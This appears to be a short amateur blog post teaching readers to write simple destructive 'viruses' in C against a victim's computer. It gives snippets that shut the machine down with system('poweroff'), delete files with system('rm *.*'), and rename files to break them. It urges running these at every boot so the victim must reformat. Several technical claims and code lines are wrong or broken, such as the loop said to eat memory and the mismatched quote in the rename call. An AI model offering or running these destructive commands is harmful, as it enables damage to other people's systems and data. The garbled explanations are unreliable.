Virus code can be coded using several language. The best being c or vbs. Today I will explain you how to create some simple virus using c.
I am assuming you know at least c basics. First lets begin with tiny and simple ones.
int c;
while(1)
{c=c+10;}
This simple script needs no explanation. It will just be eating away your victims virus at a slow space. The person can stop this by just closing the .exe file.The memory is used to store the result.
As you know a double takes up more space you can replace int with float.
Now lets try to create a simple Linux virus.
system("poweroff");
This simple script will turn off your victims comp. The above linux virus can be made extremely dangerous by making a simple change. if you can make your code do it's job when ever a person turns on his comp then think what will happen ( i mean other than you going to jail) the person must have to format his system.
Now lets step it up.Lets increase the venom of our snake
system("rm *.*");
This will erase/delete all files with all extension provided the logged user has permission to delete it.Just imagine if the admin runs it then it will create a havoc.
Now lets come back to windows what if you change the extension of a file. It becomes useless.Now let's rename a few file.
rename(old_file_name_with_path,newname");
Now what you can do with this left up to you.Just use your brain and you will make out it's potential.
These are very simple virus but can cause havoc.
Subscribe to:
Post Comments
(
Atom
)
No comments :
Post a Comment